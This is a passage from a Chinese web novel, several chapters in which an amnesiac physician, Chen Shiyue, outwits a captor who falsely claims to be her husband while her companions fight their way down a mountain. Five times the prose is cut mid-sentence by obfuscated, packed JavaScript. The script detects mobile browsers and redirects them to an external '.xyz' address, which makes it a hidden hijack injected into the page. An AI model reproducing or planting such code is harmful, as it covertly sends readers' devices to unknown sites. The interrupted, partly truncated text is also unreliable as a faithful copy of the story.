山路崎岖而湿滑,走一步滑一脚,冬梅和迎春也藏得极好,这山中最不缺的就是洞窟,大大小小的洞窟,还有一些不起眼的凹坑,因为寻常人不敢进山的缘故,这里林木茂密,草皮厚重,藤蔓丛生。 “你说,少将军和姑娘会如何?”冬梅提心吊胆。 迎春看一眼藏在洞内的众人,“不管如何,先把他们送出去,要不然少将军和姑娘不就白费力气了?我们总得让他们放心,不能成为他们的拖累。” “我听你的。”冬梅还是知道,自己几斤几两的。 她脑子不够用,姑娘不在这里,当然要听迎春的。 “放心吧,有少将军在,姑娘肯定不会出大事,何况我瞧着那厮不是冲着姑娘这条命去的,倒像是登徒子。”迎春提起这个就咬牙切齿。 放浪形骸,纠缠女郎,简直恬不知耻! 这样的男子,应该送去浸猪笼,也叫他知道“廉耻”二字怎么写? “我瞧着也是!”冬梅点点头,“那厮放浪,就不是个好人,姑娘与少将军是两情相悦,男才女貌,这厮横插一杠子算怎么回事?” 迎春深吸一口气,“他口口声声都是最相配,这是从哪儿得来的道理?” “脑子有病呗!”冬梅不屑的回答。 迎春看了她一眼,到底没再多说什么,这丫头说话不过脑,而且脑子缺根弦,说再多也没用,还可能坏了少将军和姑娘的事儿。 鉴于种种,迎春不再多言,只在洞口守着。 天,渐渐亮了。 “先把人送出去!”迎春开口,“只要这怪人安全了,我们就可以腾出手回去帮少将军和姑娘。” 事要一件件的做,饭要一口口的吃,不能一口吃撑胖子。 “可是……”冬梅在犹豫。 迎春看向她,“你别忘了,我们这些人的命,都是少将军和姑娘用自己的命换来的,我们要做的第一件事就是让他们放心,这个人……是问题的关键,他如果落回长乐门的手里,姑娘和少将军就白费力气,你我如果面对他们?” “好!”冬梅点点头。 迎春让众人收拾了一番,其后便先派出两个护卫去探路。 下山的路,不好走。 即便是白日,亦要走得分外小心,何况长乐门的人随时蛰伏在侧,说不定在他们不查的时候,就突然扑了出来?! “大家提高警惕,不要掉以轻心。”迎春仔细叮嘱。 怪人很安静,似乎是知道他们这些人不会对自己做什么,任由护卫背着,偶尔睁一下眼睛,其他时候都是耷拉着脑袋,仿佛是在睡觉?! 如此,正好。 若是他真的闹起来,迎春还得想个法子制住他,委实是麻烦。 还好,没事。 只不过路上也遇见了几次围追堵截。 “他们在这里!” “杀!” 冬梅冷剑在手,“你们先走,交给我!” 迎春只管带着人往前跑,其他的交给冬梅和其他人。 厮杀声在圣后响起,迎春压根就不回头,“走走走!” 身后是什么有什么要紧,前面才是最重要的,冲出去,山脚下就会有人接应,他们就安全了,只有这样才算真正的帮上忙。 冬梅的功夫是他们一群人之中最好的,如果连她都应付不了,那么谁也别想跑,所以迎春没什么可犹豫的…… 好在,冬梅不负所望。 来一个杀一个,来两个杀一双。 霍青行那边也是如此,林序逐渐恢复了神志,只是身子尚且虚弱,那疯子的毒还真不是一般人能承受的,即便解了毒,也是难受得紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252599|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “少将军只管去救人,我可以自己下山。”林序忙道。 霍青行深吸一口气,“跟上!” 都到了这个地步,也不差一点时辰,陈识月肯定是要救的,在救人之前还是要确保林序的安全,所以霍青行没多说什么,不能这件事办不好,那件事也搞砸了。 见此情形,林序不再多说,老老实实的跟在霍青行的身后,只想快点下山。 自己安全了,少将军就可以马上回去救月大夫了…… 霍青行一句话都没说,却又好似把什么都写在了脸上,惟愿月儿能撑住,他一定会尽快回去的,一定可以的…… 月儿,等我! 脑子嗡的一声,陈识月猛地从床榻上坐起身来,一下子有点懵,入目皆是陌生的环境,石桌石凳,连自己的睡的都是一张石床。 这是哪里? 脑子里有片刻的宕机,恍惚间她好似想起了一些零碎的画面,可脑瓜子疼得厉害,最后停留的一幕似乎是一柄剑,其他的……记不住了?想不起来了? 好半晌,她都觉得脑子里空空荡荡,仿佛所有的记忆都被人扫空,让她无所适从。 记忆呢? 自己的记忆呢? 她揉着太阳穴,想要想起点什么,可脑袋好疼,如同针扎一般的疼,真是难受得很…… “你醒了!”门口忽然传来了一道温柔的声音。 陈识月猛地抬起头,瞧着他缓步靠近,最后坐在了她的床边,目光温柔而缱绻的盯着她,“怎么,不认得我了?” “你是……”陈识月皱起眉头。 他伸手,微凉的指尖轻轻抚平她皱起的眉头,言语间满是温柔之色,“夫人这是怎么了,连自家夫君的名讳都不记得了?可见这一次风寒的确厉害!” 陈识月:“??” 什么夫人? 什么夫君? 风寒? 陈识月拂开他的手,即便是不记得什么,却也是反感他的碰触,“你别胡说八道,什么夫人夫君的?我怎么不记得自己成亲了?你再敢胡言乱语,仔细我对你不客气。” 语罢,她快速掀开了被褥下床。 穿上鞋子,陈识月忽然身形一顿,该往哪儿走? 她现在该去哪? 第四百章 失忆又不是失智,审美不改 迎上陈识月的迷茫之色,长雾似笑非笑的勾起唇角,“你想去哪?夫……人。” 此时此刻,陈识月脑子里一片空白,是真的不知道自己还能去哪?她对周遭的一切都是陌生的,自然不知道要怎么办才好,但是抬眸瞧着阴测测的长雾,她是绝对不会相信他嘴上说的那些话。 “你为何不信我?”长雾皱起眉头,“我说的是实话。” 陈识月的目光在他身上逡巡,然后果断退后一步,“你嘴里有没有实话我不清楚,但我相信自己的眼光。你虽生得俊美,可你不是我喜欢的样子,所以我不可能与你成亲。” 不管有没有记忆,人的审美都是不会变的,她很确定自己不喜欢这一款。 既然不喜欢,那就不可能发生“成亲”这种人生大事。 这是个骗子! 死骗子! 但她孤身一人,不能轻易的触怒他,这对自己没有任何好处,更何况男女体力悬殊,要是真的打起来,她跑不出去…… 没有胜算的事情,不能做。 “你就如此肯定?”长雾皱起眉头,他自诩这张假面也不错,镜子里也是个清秀俊朗的模样,怎么就没入她的眼呢? 难道说,她就喜欢那一款? 长雾有些迟疑了,人的喜欢会一直一直,永远都不会变吗?哪怕重头再来,还是执着如旧? “对!”陈识月肯定的回答。 长雾摸着自己的脸,“我丑吗?” 她摇头。 “不丑。” 长雾看向她,“那为什么不喜欢?” “人的喜欢与不喜欢,哪有那么多的为什么?有人喜欢吃野芹菜,可有人闻到味儿就吐了,各花入各眼,欢喜自随心。”她耐心的解释,以便于拖延时间,让自己冷静下来,想着要怎么离开此处? 这地方有些眼熟,但是……记不起来了。 没关系,等她出去也就熟了。 “你说的也有道理,不过没关系,日久生情嘛!”长雾缓步走到她跟前,似乎已经猜到了她心中所想,“既是已经成亲,合该日夜相处。” 陈识月:“??” “喜欢与否,其实已经没那么重要。”长雾站在她跟前,低眉瞧着她清秀的眉眼,“我们是夫妻,是要永生永世都在一起的夫妻,没有人比你我更相配。你如今不喜欢我没关系,但是你也不许喜欢旁人,这是夫妻之间的本分。” 陈识月不想跟他争论,转头赫然见着硕大的蛇头,就这么直勾勾的盯着她。 一瞬间,身子僵直。 四目相对,蛇信子几乎喷吐在她脸上,浓重的腥臭味,熏得她险些呕出来。 下一刻,陈识月赫然回神,连退两步靠在了墙壁上。 她没叫喊,只是静静的站在那里。 若换做寻常女子,第一反应应该是撕心裂肺的喊救命,但她……即便失去了记忆,却也未改本性,将情绪收敛得极好。 “你不害怕吗?”长雾皱眉。 她应该不记得自己会医术,也不记得长阴了吧? 这么大的一条蛇,她居然不叫? “你怕吗?”陈识月反问。 长雾一怔,“不怕。” “那我也不怕。”陈识月深吸一口气。 长雾不明白,“我不怕是一回事,你为何不怕?” “你身上有它的味道。”陈识月开口,“它跟你亲,又或者是寻你而来,我为何要害怕?若它要伤人,我就先杀你。” 长雾:“……” 蛊虫的作用是很多,但……没有提升嗅觉这一说啊! “你能闻到,我身上的气味?”长雾有些不敢置信。 陈识月别开头,不想解释。 “还有呢?”长雾步步逼近,“你把话说清楚,你身上还有什么异样的反应?” 陈识月狐疑的望着他,“你不是说,是我的夫君吗?既是夫君,又岂会连我有什么反应都不知晓?你到底哪句话是真的?” 长雾:“……” 失忆了也这么难对付? 字字句句都能挑漏洞? “所以,你不是我的夫君。”陈识月自顾自的得出这么个结论,“你在骗我。” 长雾哑然失语,反应这么快? “你不是我的夫君,你到底是谁?”陈识月盯着长阴,“养这么大的东西,可见也不是什么好人,你到底想从我身上得到什么?” 长雾叹口气,“你怎么就不信呢?为何不信呢?” 见此情形,陈识月懒得再跟他废话,收拾了自身,确定衣衫完整,便想从这里离开,奈何……长阴堵在了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252600|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口,似乎是在刻意守着她。 “让你的蛇离我远点。”陈识月看向长雾,“我要出去。” 长雾挑眉,“你要去哪?” “去哪都好过这里。”她不喜欢这个房间,石室内很是压抑,有种让人窒息的感觉,“我要去透透气,我不喜欢这里。” 长雾看了长阴一眼,长阴当即闪避开来。 陈识月看了他们一眼,抬步就往外冲,没有任何的犹豫。 “你就这么看着她走了吗?”门外阴暗处,有人低声开口。 长雾行礼,“门主。” “你把她带回来,就不担心暴露我们自身吗?”门主冷着脸,“还是说,你想拿他来要挟谁?又或者是……只是个女人,你想要多少没有?销金窝里的美人……多得是!” 长雾不以为意,手一挥,长阴便快速离开。 “我不要那些庸脂俗粉,我只要她。”长雾看向门主,“万望门主不要动她。” 门主不说话。 “她是我的。”长雾音色低沉,“谁敢动她,就是与我作对,我绝对不会放过他。” 门主深吸一口气,“你迟早会死在她手里。” “她不会杀我的,也杀不了我。”长雾很肯定的告诉他,“就像是我也杀不了她,下不了手一样,更何况我发现她身上还有很多,解不开的秘密。” 门主转身,“最好如你所言,她有那么大的利用价值,要不然她想起那些过往,你是第一个要死的人,到时候可别求着我救你。” “你放心。”长雾双手环胸,“我自有主意。” 没走两步,门主止步回头看他,“那个人……把他带回来,要活的!” “是!”长雾行礼。 待门主走后,长雾长长吐出一口气,抬步就朝着陈识月离开的方向追去。 这洞窟,陈识月觉得自己好像是来过的。 难道她真的一直生活在这里? 跟这养蛇的男人一起生活? 回头望去,那条蛇还躲在岩石后面,偷摸着探出头来,却在四目相对的瞬间,快速缩回脑袋,却忘了缩回它不断往外吐的信子。 陈识月翻个白眼,此地无银三百两。 转身,藏好。 长阴急了,旋即呼啦啦钻出来找人…… 第四百零一章 你叫青黛 长阴呼啦一下子就过去了,然而下一刻,又默默的绕回来,瞧着站在岩石后面的陈识月,有种被人当场抓包的窘迫感,一时间直着它那壮硕的身子,居高临下的睨着她。 陈识月抱臂靠在岩壁上,斜着眼睛仰头看它。 回过神来,长阴掉头就跑,巨大的身子在地上挪动,激着周遭的细石发出呼啦啦的声响,就像是为了遮掩它如今的尴尬。 陈识月站直了身子,长长吐出一口气,“这么大的腥味,还以为神不知鬼不觉呢?” 呵! 待长阴走后,陈识月才继续往前走,这路有点眼熟,但不记得什么时候走过,便凭着直觉往前走,一直往前走。 路上有人看她,但无一人上前拦阻。 陈识月止步回望着身后,应该是长雾在身后跟着,毕竟这腥臭味淡了不少。 深吸一口气,她继续往前走。 长雾皱起眉头,明明吃了药,什么都忘了,怎么还能走得这般顺畅?难道自己的药出了问题? 不对,应该是她体内的蛊虫之故。 蛊虫与药效相互冲撞,让她出现了这样异常的状态,药效失了一半又存有一半,理智上清楚万分,全然没有失忆之人的茫然无措。 也许,这和人的性格也有关系。 若是换做其他的闺阁女子,也许真的会如此,但陈识月一个人生活了那么久,又提心吊胆的,防着府衙的人追查,内心深处早已不需要依赖于任何人。 她本就独立,即便是失忆状态,也不会换一种性格。 长雾眯起危险的眸子,唯有在那人面前,她才会生出依赖的性子? 为什么呢? 她就,那么喜欢他? 陈识月走的每一步路都很是精准,几乎都是照着之前离开的路走的,可见她的记性有多好,已然可以用“过目不忘”来形容。 长雾就跟在他身后,慢慢悠悠的离开。 她精准避雷,走得那叫一个稳当,即便知道长雾就在后面跟着,也毫不影响她的进程,几乎是视他如无物,完全不当一回事。 陈识月宛若不知疲倦,走走停停,最终目标是离开这里。 “累了?”长雾递水。 陈识月靠在岩石上歇息,说真的,这洞窟实在是太大了,她走了一圈也没能走完,想出去更是费劲,但她不喜欢这里,势必要走出去。 “怕我下毒?”见着她不接,长雾皱眉。 还真是防备心深重,那个男人是如何得到她的真心与信任的? “知道就好。”陈识月是不会吃他递来的任何东西。 清醒的状态下被人动了手脚,那她可就真该**! 蓦地,她忽然一怔,为什么会这么想呢? 为什么有如此自信呢? 陈识月伸手接了一点岩石缝隙里渗出来的水,在唇瓣上轻轻擦了擦,然后小心翼翼的抿了两口,主打一个不求人。 长雾兀自喝了口水,“还真是倔驴一样的脾气。” 不过他也没多说什么,只是老老实实的跟着她,看看她还能闹出什么幺蛾子?又有多大的本事,自己的药在她身上能有多少反应。 这么好的药人,难怪那白发老怪都觊觎不已。 换做任何一个医家,怕是都要为她发疯发狂。 “呵,你到底想去哪?”长雾问。 陈识月像是看傻子一样看着他,“我说了八百遍了,我要出去,你是聋了瞎了还是脑子坏了,知道自己记性不好,就管住你这惹人厌的嘴。” 她的声音带着几分虚弱,所以有些柔柔软软,但字字句句都宛若利刃,坚不可摧。 “可真是无情呢!”长雾叹气。 失忆了还这么讨厌他,即便他骗她……自己是她夫君,竟也换不来一点好脸? 陈识月也不知道自己走了多久,直到两股战战,浑身无力的坐了下来,这一次是真的走不动了,要出去还是得休息好了才行。 “你对我做了什么?”她问。 长雾近前,“这话说的,你我是夫妻,我能对你做什么?” “我要听实话。”陈识月摸了摸自己的胳膊,摸了摸自己的腿,“我这胳膊腿以及身上的肉都是紧实的,说明我不是那种虚弱无力之人,但眼下我却是走三步喘一口,若说这里面什么问题都没有,我是怎么都不会相信的。” 她记得有人说过,失忆又不是没脑子。 “你若是开口,我可以送你出去。”长雾又道。 他觉得自己在循循善诱,陈识月却觉得他是傻子大聪明。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16257049|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我说了,我要出去我要出去,你问了八百遍,我每次都回答了,你却又说只要我开口……”陈识月觉得这人脑子真的有病,“你若是听不懂人话,也可以前肢落地,变成四条腿走路。免得你顶着这副人模狗样的皮囊,出去祸害他人。” 长雾:“……” 骂人还不吐脏字? “好像怎么说都是你有理。”长雾瞧了一眼周遭,“你想出去也无妨,我可以带你出去。” 陈识月扯了扯唇角,“这么好心?” “我是你夫君,这件事是真的。”他说。 陈识月翻个白眼,“什么时候成的亲?” “半个月之前。”他信口胡诌。 陈识月又问,“为何要嫁给你?” “你我自幼相识,定下的娃娃亲,时间到了也就水到渠成了。”他脸不红气不喘的回答,“成亲半月,你一直身子不太舒服,前阵子感染了风寒,更是一病不起,直到今日才算彻底清醒过来。” 陈识月挑眉,“是吗?” “你还有什么不信的?”长雾一脸无奈的看向她,“你我是夫妻,身上都带着外人不可有的秘密,你摸摸自己的心口位置,若是仔细感触,是不是有什么东西在心口游走?” 陈识月一怔。 心口位置? 掌心贴上去没多久,她真的感受到了些许异样。 这是…… “我也有!”长雾信誓旦旦,“这是你我成亲时特意种下的蛊虫,除了至亲夫妻,旁人是断然不可染指,这东西总不会骗你吧?” 陈识月眉心突突跳,“蛊虫……” 脑子仿佛有针在扎,一时半会还真是想不清楚,他话中真假。 “你该相信我的。”长雾低声开口,“你要知道,这天底下除了我,你已经没有至亲至爱了。唯有我是真心护着你,你生病期间,也是我日夜守着你。” 那意思是:你不能没良心。 陈识月没说话,让人猜不透她心中所想。 “夫人。”长雾步步逼近,“我不会害你的。” 陈识月示意他止步,“我叫什么?” “青黛。”长雾开口,“小名月儿。” 陈识月没说话,琢磨着这两个名字到底是真是假? 第四百零二章 很好,这是个死骗子 不过,陈识月并没有纠结太久,名字只是称谓罢了,真与假也没有那么重要,所以她沉默着别开头,快速闭上了眼睛。 “你怎么又不说话了?”长雾其实心里不踏实。 虽然只见过几次面,每次都是以交手失败而告终,但是他隐约也摸到了一些门道。 比如说,陈识月一安静不说话,往往是盘算着怎么收拾别人的时候。 所以长雾便有了一个心结,哦不,是条件反射,只要陈识月不吱声,太过安静,十有**就是在盘算着,怎么收拾他……又或者是身边的其他人。 “你说句话。”长雾道。 陈识月睁开眼,懒洋洋的斜睨他一眼,又闭上眸子小憩。 “你该不会又在想着,要如何对付我吧?”长雾皱眉。 陈识月敏感的捕捉到了一个字,“又?那就是说,我以前对付过你?” 长雾噎了一下,以后还是别用药了,一棍子打晕过去,伤到脑袋可能更有效果,傻子比失忆好对付,她这失忆……愈发诡异。 氛围有些尴尬,双方都没有再说话。 一个答不上来,一个知道他答不上来。 小憩片刻,身子稍微缓和过来,陈识月睁开眸子,转头看向靠在一旁休息的长雾,这人还真是死心眼,不过没关系……她也是。 认定了一件事,便是天塌了也不会改变。 “你醒了。”见着陈识月起来就走,长雾又默默的跟上。 陈识月没说话,喝了点水继续往前走,记忆里的路依旧在,一直到她走出了洞窟,站在了外面。 此刻,外面漆黑一片。 她不知道此前发生了什么,但是她很清楚自己在做什么,外面没有月光,瞧不清楚路线,她这会出去可能会成为山中野兽的宵夜。 思及此处,她又退了回来。 守在洞口的长乐门人都有些发懵,不知道她想干什么? 想进就进,想出就出? 但,**就在后面跟着,谁敢多说半句? “怎么又不走了?”长雾实在是猜不透,她心里在想什么。 陈识月白了他一眼,没瞧见天黑了吗? 她不吱声,瞧着守卫摆在桌案上的馒头,这大概是吃剩下的,二话不说就坐下来,抓起了馒头就往嘴里送。 “哎哎哎……”长雾急了,“你……” 陈识月完全不管他,还不忘给自己倒了杯水,免得吃太急,会噎着自个。 “还愣着干什么?吃的呢?”长雾几乎是咬着牙喊出来的。 她若是真的饿了,只管开口便是,他又不会饿着她,可谁知道她防备心这么重,他给的一律不吃,倒是抢人家的东西吃?? “是是是!” 守卫当即将馒头和腌菜干,以及一些花生米都端上来,小菜不多,都是腌菜居多,什么腌萝卜之类的,但现在陈识月饿得厉害,哪儿顾得了这么多,赶紧吃了得了。 这些都是守卫自己的食物,应该不会有问题,所以她才敢放心的吃。 狼吞虎咽都吃,不然吃东西的时间太长,就容易被那厮做手脚,她是真的一点都不信任他,即便他眉目清隽,也得不到她半分侧目。 不喜欢就是不喜欢,怎样都不可能动心! 在长雾想靠近的瞬间,她三两下就将最后一口馒头咽下,然后将杯中水一饮而尽,好似生怕他跟她抢一般,防备的姿态摆得十足十。 “你慢点!”长雾是真的怕她噎死。 瞧着她腮帮子鼓鼓的,一双眸子却异常清亮,不由得眉心紧蹙,愣是没有坐下来,怕他一坐下来,她会撒腿就跑,避他如蛇蝎。 陈识月吃饱喝足,就在洞口位置寻了个地方,然后坐下来休息。 “**?”守卫低低的开口,“这……” 长雾睨了他们一眼,用眼神警告他们,不许多事。 他一直在留心,她身上的药效反应,但现实让他很惊讶,这么浓烈的药效到了她身上居然出现了不一样的结局,之前那么多人试药,最后结果不是变成瘫痪,就是变成傀儡,还有变成了失智的傻子。 唯有陈识月,既没有瘫痪,也没有变成傻子,只是失去了记忆,其他分毫不改,且保持了本性,这到底是药效的减弱,还是蛊虫的强大? 若是把药在她身上提纯,是否会有更意想不到的结果? 一想到这,长雾更是激动不已。 陈识月眉心微拧,即便闭着眼睛,也能感受到来自于长雾的灼灼目光,全部落在自己的身上,但那又如何? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16257050|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她才不屑回应。 一夜无梦。 第一道曙光从外面漏进来之后,陈识月便起身走了出去,那股子迫不及待的劲儿,看得长雾很是不爽,但又不得不跟上。 瞧着她变戏法似的,从袖中拿出一个馒头,大口大口的吃着,长雾眉心紧蹙,“你什么时候藏了一个馒头?” “都让你知道了,还叫藏吗?”她轻嗤,往前走的时候,还不忘一边走一边挖草药。 长雾不解,“不要做什么?” 走的时候,把守卫的罐子都顺走了,也不知道她想干什么? 须臾,长雾明白了。 陈识月一边走一边收集药材,然后在溪边将这些药材煮了。 “你喝的什么?”等她喝药的功夫,长雾赶紧凑近了罐子,用小棍子挑着内里的药渣,其后恍然大悟,“你喝药增强体力?” 陈识月只觉得身上热乎乎的,就好像全身筋脉都畅通了一般,简直是精力充沛,舒服至极。 “你要是不嫌弃,也可以喝上一碗,要不然没力气跟上我,我可不会救你。”陈识月白了他一眼,抱起了自己的罐子。 长雾咂吧一下嘴,“你不是什么都忘了吗?” “你会忘了自己是个人,忘了吃饭喝水睡觉吗?”陈识月问。 长雾摇头。 “有些东西不是记忆能带走的,长年累月的本能会取代记忆。”她从小就跟着母亲,辨识药材,其后一个人出逃,得师父指点,这十几二十年的岁月里,她对药材的辨识已经成了本能。 医术是刻在骨子里的东西,就像是吃饭喝水一般寻常。 她抱着罐子就走,长雾赶紧跟上。 “你就非得跟着我吗?”陈识月问。 长雾张嘴刚想说话。 却听得陈识月又道,“我们不是夫妻,即便以前相识,的确有些羁绊,但有些东西是不可能骗过大夫的。我是大夫!” 能辨识草药,能自己配药,不是大夫是什么? 更何况,她说她是大夫。 他没反驳。 沉默就是默认。 很好,这是个死骗子! 长雾站在原地,瞧着陈识月决绝离去的背影,略带愁恼的挠头,看样子……得下一剂猛药。 第四百零三章 真以为她带他溜圈呢? 陈识月走得飞快,以至于长雾一不留神,差点让她跑了。 喝了药就跟打了鸡血一样,翻山越岭也不觉得累,还真是有点……匪夷所思。 当然,她也不是全能的,即便是喝了药,也有停下来歇息的时候,晌午时分有些热,她便靠在了树下休息。 “你有没有哪里不舒服?”长雾凑上来。 走了这一路,她好像没什么异常,总有种……给她喂药都白搭的错觉。 陈识月不理他,该休息就休息,纵然喝了药,也不能太过逞强,否则药效消失之后,会出现极其可怕的反噬。 “你可知道这山里有熊?”长雾忽然开口。 熊? 脑子里似乎有什么东西碰撞了一下,陈识月徐徐睁开眼,平静的看向长雾,“让熊吃了我?” 长雾:“……” “又或者是吃了你。”陈识月继续说,“你我之间,总有一个是它的口中食。” 长雾:“……” 这人软硬不吃,好似什么都不怕啊? “你就不害怕吗?”长雾问。 陈识月问,“我害怕了,熊就能不吃我?” 长雾答不上来。 “既然如此,我为何要害怕?”她闭上眼继续小憩,“不要打扰我休息,你若是不困就跑两圈,若是累了就闭眼闭嘴。” 长雾想了想,“你喜欢话少的男人?” 陈识月不说话。 这还真是难评。 话少? 像那个男人一样? 长雾看向闭眼的陈识月,终是讪讪的闭了嘴。 但不知道为何,闭眼之后竟有困意袭来,等他有意识的反应过来,自己可能遭人算计之后,什么都来不及了。 瞧着昏昏沉沉睡过去的人,陈识月扯了扯唇角,“真以为我那么闲,带着你翻山越岭?” 站起身来,她毫不犹豫的抬步离开。 好好睡着吧! 她就不奉陪了。 当然,她也知道后面会有人跟着,但就她观察所知,这些人都听他的,想必此人身份不俗,并且口口声声说是她的夫君,说明想从她身上得到什么? 或者是拿她当饵,想要引出什么人? 总之,是因为她有很大的利用价值,且这利用价值得让她自己发挥,来硬的……只会适得其反,以至于他们不得不徐徐图之。 只要避开了这人,后面那些小喽啰都好对付。 还拿什么熊来吓唬她? 可笑! 熊有他可怕? 他还养蛇呢! 陈识月撒腿就跑,此事不跑更待何时,等着被人卖了吗? 直到这一刻,远远跟着的人这才惊觉事情有点不妙,好像是…… “坏了,人跑了!” “**怎么回事?” “快,快看看?” 可别是被人弄**…… 陈识月跑了,跑得飞快,只是要出去确实没那么容易,脑子里空空的,只能凭着直觉飞奔,得防着长乐门的人。 无论怎样,先出山。 出了山之后,先去找人,人越多越好,混在人群里才算是安全,否则的话……一个人在外面跑,落单就会被抓。 陈识月目标明确,行动迅速…… 下过雨的山林,道路泥泞湿滑,若不熟悉路径,容易一步一打滑,那么多人都在搜山,奈何一个都没找到。 既没找到怪人,又没找到霍青行他们,每个人心里都是暴躁的,如此一来该怎么同门主交代? 好在经过这么长时间的恢复,林序总算是安然无恙,除了有些虚弱,倒也没别的什么大碍,至少不会拖霍青行的后腿。 “先去找冬梅他们!”霍青行目标明确,“护送他们下山。” 林序点头,“那月大夫……” “那个怪人对她很感兴趣。”霍青行垂眸。 他知道,怪人不是对她这个人感兴趣,而是对蛊虫对她的体质感兴趣,一如白发老道那般,是对一个药人的兴趣。 这么多件事情,总要有轻重缓急。 前面忽然传来了打斗声,惊得霍青行与林序当即隐在树上,站得高看得远,但同时……大白天的,也容易过早的暴露目标。 但,还是要看一看。 “少将军,是冬梅!”林序惊呼。 霍青行旋即纵身下树,“找地方躲起来。” “小心点!”林序低唤。 霍青行当即拔剑,下手快准狠。 “少将军?”冬梅欣喜。 没想到,他们赶上来了。 只是下一刻,冬梅就笑不出来了,怎么没瞧见姑娘呢? 对付完了眼前这些人,冬梅收剑归鞘,快速迎上霍青行, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262851|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姑娘没跟你们一道吗?” “没有,她在那个疯子手里。”霍青行沉着脸,“人呢?” 冬梅的脸色铁青得厉害,但也知道这是没办法的事情,如今是在旁人的地盘上,只能一样样的来,断然不可操之过急。 “走!”霍青行没有犹豫,带着人快速往山下而去。 他们越安全,他就可以抽出更多的时间,去救月儿! “少将军?”迎春忙道,“如今我们都在这里,你去救姑娘吧!” 霍青行犹豫了。 “快去吧!”冬梅忙道,“眼见着就要下山了。” 原本霍青行还真的动摇了,但听得冬梅这最后一句,他便否决了这个提议,“没看到你们真的安全,我是不会走的,月儿的付出不能白费,我不能在弄丢她的同时,还让她痛心疾首。” 都走到这一步了,若是再横生枝节,那他和月儿上哪儿哭去? 不可以! 天晓得,也恰恰是霍青行的这份坚持,让冬梅他们避过了一劫,要不然的话,真的会功亏一篑。 前方忽然出现了异动,不安的情绪笼罩心头。 霍青行猛地止步,默默握紧了手中剑。 风卷着落叶,自耳畔呼啸而过。 冷不丁,叶片自手背掠过,划出一道血痕。 迎春心头一紧,骇然与冬梅站在一处,呈现了防守姿态,与其他护卫一道,护住了后面的怪人和林序,一个个面色凝重。 这是劲敌! 霍青行目光陡沉,“都小心点。” 话音刚落,底下忽然有东西掠过,紧接着便是头顶的树叶嗖嗖嗖往下落。 蓦地,树梢寒光乍现,直逼霍青行而来。 “小心!”霍青行低喝。 冬梅和迎春一左一右护在前面,叶片与剑身碰撞,发出了叮叮当当的声响,可见来人内劲之丰沛,非寻常人可挡。 黑影猛地从灌木丛里窜出来,速度极快。 霍青行毫不犹豫的迎上,寒光剑影,刀剑碰撞,不是你死就是我亡。 然而下一刻,地底下猛地窜出一人,趁着霍青行不备,直攻其下盘,二人一上一下,形成合围之势,势要将霍青行绞杀其中。 对方下手阴狠毒辣,招数万般下流,不择手段要霍青行的性命! 看得一旁的林序又急又气,却又无可奈何。 第四百零四章 一路开大,杀过去 这二人应是长乐门从江湖上笼络回来的高手,一个两个用的都是极阴狠的招数,不论过程只论结果,所以在应对上,他们会下死手,尽自己最大所能下死手。 霍青行是庆幸的,没有听冬梅和林序所言,放任他们自己下山,要不然的话,这会就是团灭,就是前功尽弃。 还好! 还好! 当然,眼前这二人也委实棘手,在经历了饥寒交迫,各种被追杀的紧张之后,面对高手的确有些吃力,人毕竟是血肉之躯,不可能时刻精力充沛,便是霍青行也是如此。 还好他在边关多年,什么场面没见过,熬一熬便都熬过去了,再残酷的战役都有结束的时候,谁笑到了最后,谁才是赢家。 